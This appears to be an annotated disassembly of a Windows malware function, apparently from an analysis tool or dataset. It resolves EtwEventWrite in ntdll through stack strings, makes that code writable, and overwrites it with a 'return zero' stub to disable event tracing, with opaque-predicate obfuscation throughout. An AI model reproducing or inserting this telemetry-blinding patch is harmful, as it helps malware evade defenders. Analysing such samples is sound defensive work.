Function at 0x14000d0d4
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings

Disassembly:
sub rsp, 0x128
mov rax, qword [0x14003bba8]
xor rax, rsp
mov qword [rsp + 0x110], rax
mov dword [rsp + 0xf4], 0
mov byte [rsp + 0x100], 0x45
mov byte [rsp + 0x101], 0x74
mov byte [rsp + 0x102], 0x77
mov byte [rsp + 0x103], 0x45
mov byte [rsp + 0x104], 0x76
mov byte [rsp + 0x105], 0x65
mov byte [rsp + 0x106], 0x6e
mov byte [rsp + 0x107], 0x74
mov byte [rsp + 0x108], 0x57
mov byte [rsp + 0x109], 0x72
mov byte [rsp + 0x10a], 0x69
mov byte [rsp + 0x10b], 0x74
mov byte [rsp + 0x10c], 0x65
mov byte [rsp + 0x10d], 0
mov byte [rsp + 0xf8], 0x6e
mov byte [rsp + 0xf9], 0x74
mov byte [rsp + 0xfa], 0x64
mov byte [rsp + 0xfb], 0x6c
mov byte [rsp + 0xfc], 0x6c
mov byte [rsp + 0xfd], 0
mov byte [rsp + 0xf0], 0x48
mov byte [rsp + 0xf1], 0x33
mov byte [rsp + 0xf2], 0xc0
mov byte [rsp + 0xf3], 0xc3
lea rcx, [rsp + 0xf8]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [rsp + 0x100]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x40], rax
mov al, byte [0x14003bb6c]
movsx eax, al
mov dword [rsp + 0x50], eax
call fcn.140017500
movsx eax, al
mov ecx, dword [rsp + 0x50]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4c], eax
call fcn.1400174f4
movsx eax, al
imul eax, eax, 9
mov dword [rsp + 0x54], eax
call fcn.1400174f0
movsx eax, al
mov ecx, dword [rsp + 0x54]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x4c]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14003bb6b]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14003bb68]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x14000d3b8
cmp qword [rsp + 0x40], 0
jne 0x14000d25b
mov qword [rsp + 0xd8], 1
jmp 0x14000d267
mov qword [rsp + 0xd8], 0
cvtsi2sd xmm0, qword [rsp + 0xd8]
call fcn.14001b480
mov dword [rsp + 0x64], eax
mov cl, byte [0x14003bb6c]
movsx ecx, cl
mov dword [rsp + 0x58], ecx
call fcn.140017500
movsx eax, al
mov ecx, dword [rsp + 0x58]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x60], eax
call fcn.1400174f4
movsx eax, al
imul eax, eax, 0xa
mov dword [rsp + 0x5c], eax
call fcn.1400174f0
movsx eax, al
mov ecx, dword [rsp + 0x5c]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x60]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14003bb6b]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14003bb68]
movsx ecx, cl
sub eax, ecx
mov ecx, dword [rsp + 0x64]
imul ecx, eax
mov eax, ecx
test eax, eax
je 0x14000d3b8
xor eax, eax
cmp eax, 5
je 0x14000d3b8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_get_EtwEventWrite_Addr___u__n
call fcn.14001e79c
mov dword [rsp + 0x24], 0
jmp 0x14000d31f
mov eax, dword [rsp + 0x24]
inc eax
mov dword [rsp + 0x24], eax
mov al, byte [0x14003bb6c]
movsx eax, al
mov dword [rsp + 0x68], eax
call fcn.140017500
movsx eax, al
mov ecx, dword [rsp + 0x68]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x70], eax
call fcn.1400174f4
movsx eax, al
mov dword [rsp + 0x6c], eax
call fcn.1400174f0
movsx eax, al
mov ecx, dword [rsp + 0x6c]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x70]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14003bb6b]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14003bb68]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
call fcn.14001b480
cmp dword [rsp + 0x24], eax
jge 0x14000d3b8
mov dword [rsp + 0x28], 0
jmp 0x14000d3a3
cmp dword [rsp + 0x28], 0x50
jae 0x14000d3b3
xor eax, eax
jmp 0x14000d8fd
jmp 0x14000d315
lea r9, [rsp + 0xf4]
mov r8d, 0x40
mov edx, 0x1000
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [rsp + 0x80], eax
mov al, byte [0x14003bb6c]
movsx eax, al
mov dword [rsp + 0x74], eax
call fcn.140017500
movsx eax, al
mov ecx, dword [rsp + 0x74]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7c], eax
call fcn.1400174f4
movsx eax, al
imul eax, eax, 6
mov dword [rsp + 0x78], eax
call fcn.1400174f0
movsx eax, al
mov ecx, dword [rsp + 0x78]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x7c]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14003bb6b]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14003bb68]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x14000d5e5
cmp dword [rsp + 0x80], 0
jne 0x14000d45e
mov qword [rsp + 0xe0], 1
jmp 0x14000d46a
mov qword [rsp + 0xe0], 0
cvtsi2sd xmm0, qword [rsp + 0xe0]
call fcn.14001b480
mov dword [rsp + 0x90], eax
mov cl, byte [0x14003bb6c]
movsx ecx, cl
mov dword [rsp + 0x84], ecx
call fcn.140017500
movsx eax, al
mov ecx, dword [rsp + 0x84]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8c], eax
call fcn.1400174f4
movsx eax, al
mov dword [rsp + 0x88], eax
call fcn.1400174f0
movsx eax, al
mov ecx, dword [rsp + 0x88]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x8c]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14003bb6b]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14003bb68]
movsx ecx, cl
sub eax, ecx
mov ecx, dword [rsp + 0x90]
imul ecx, eax
mov eax, ecx
test eax, eax
je 0x14000d5e5
xor eax, eax
cmp eax, 2
je 0x14000d5e5
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_in_changing_protection___u__n
call fcn.14001e79c
mov dword [rsp + 0x2c], 0
jmp 0x14000d537
mov eax, dword [rsp + 0x2c]
inc eax
mov dword [rsp + 0x2c], eax
mov al, byte [0x14003bb6c]
movsx eax, al
mov dword [rsp + 0x94], eax
call fcn.140017500
movsx eax, al
mov ecx, dword [rsp + 0x94]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9c], eax
call fcn.1400174f4
movsx eax, al
shl eax, 3
mov dword [rsp + 0x98], eax
call fcn.1400174f0
movsx eax, al
mov ecx, dword [rsp + 0x98]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x9c]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14003bb6b]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14003bb68]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
call fcn.14001b480
cmp dword [rsp + 0x2c], eax
jge 0x14000d5e5
mov dword [rsp + 0x30], 0
jmp 0x14000d5d0
cmp dword [rsp + 0x30], 0x61
jae 0x14000d5e0
xor eax, eax
jmp 0x14000d8fd
jmp 0x14000d52d
mov r8d, 4
lea rdx, [rsp + 0xf0]
mov rcx, qword [rsp + 0x40]
call sub.msvcrt.dll_memcpy
lea r9, [rsp + 0xf4]
mov r8d, dword [rsp + 0xf4]
mov edx, 0x1000
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [rsp + 0xac], eax
mov al, byte [0x14003bb6c]
movsx eax, al
mov dword [rsp + 0xa0], eax
call fcn.140017500
movsx eax, al
mov ecx, dword [rsp + 0xa0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa8], eax
call fcn.1400174f4
movsx eax, al
imul eax, eax, 3
mov dword [rsp + 0xa4], eax
call fcn.1400174f0
movsx eax, al
mov ecx, dword [rsp + 0xa4]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xa8]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14003bb6b]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14003bb68]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x14000d841
cmp dword [rsp + 0xac], 0
jne 0x14000d6b7
mov qword [rsp + 0xe8], 1
jmp 0x14000d6c3
mov qword [rsp + 0xe8], 0
cvtsi2sd xmm0, qword [rsp + 0xe8]
call fcn.14001b480
mov dword [rsp + 0xbc], eax
mov cl, byte [0x14003bb6c]
movsx ecx, cl
mov dword [rsp + 0xb0], ecx
call fcn.140017500
movsx eax, al
mov ecx, dword [rsp + 0xb0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xb8], eax
call fcn.1400174f4
movsx eax, al
shl eax, 3
mov dword [rsp + 0xb4], eax
call fcn.1400174f0
movsx eax, al
mov ecx, dword [rsp + 0xb4]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xb8]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14003bb6b]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14003bb68]
movsx ecx, cl
sub eax, ecx
mov ecx, dword [rsp + 0xbc]
imul ecx, eax
mov eax, ecx
test eax, eax
je 0x14000d841
xor eax, eax
cmp eax, 9
je 0x14000d841
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_in_changing_protection_back___u__n
call fcn.14001e79c
mov dword [rsp + 0x20], 0
jmp 0x14000d793
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
mov al, byte [0x14003bb6c]
movsx eax, al
mov dword [rsp + 0xc0], eax
call fcn.140017500
movsx eax, al
mov ecx, dword [rsp + 0xc0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xc8], eax
call fcn.1400174f4
movsx eax, al
imul eax, eax, 9
mov dword [rsp + 0xc4], eax
call fcn.1400174f0
movsx eax, al
mov ecx, dword [rsp + 0xc4]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xc8]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14003bb6b]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14003bb68]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
call fcn.14001b480
cmp dword [rsp + 0x20], eax
jge 0x14000d841
mov dword [rsp + 0x38], 0
jmp 0x14000d82c
cmp dword [rsp + 0x38], 0xe
jae 0x14000d83c
xor eax, eax
jmp 0x14000d8fd
jmp 0x14000d789
mov dword [rsp + 0x3c], 0
jmp 0x14000d855
mov eax, dword [rsp + 0x3c]
inc eax
mov dword [rsp + 0x3c], eax
mov al, byte [0x14003bb6c]
movsx eax, al
mov dword [rsp + 0xcc], eax
call fcn.140017500
movsx eax, al
mov ecx, dword [rsp + 0xcc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x48], eax
call fcn.1400174f4
movsx eax, al
imul eax, eax, 5
mov dword [rsp + 0xd0], eax
call fcn.1400174f0
movsx eax, al
mov ecx, dword [rsp + 0xd0]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x48]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14003bb6b]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14003bb68]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
call fcn.14001b480
cmp dword [rsp + 0x3c], eax
jge 0x14000d8fd
mov dword [rsp + 0x34], 0
jmp 0x14000d8e8
cmp dword [rsp + 0x34], 0x28
jae 0x14000d8f8
mov eax, 1
jmp 0x14000d8fd
jmp 0x14000d84b
mov rcx, qword [rsp + 0x110]
xor rcx, rsp
call fcn.140022540
add rsp, 0x128
ret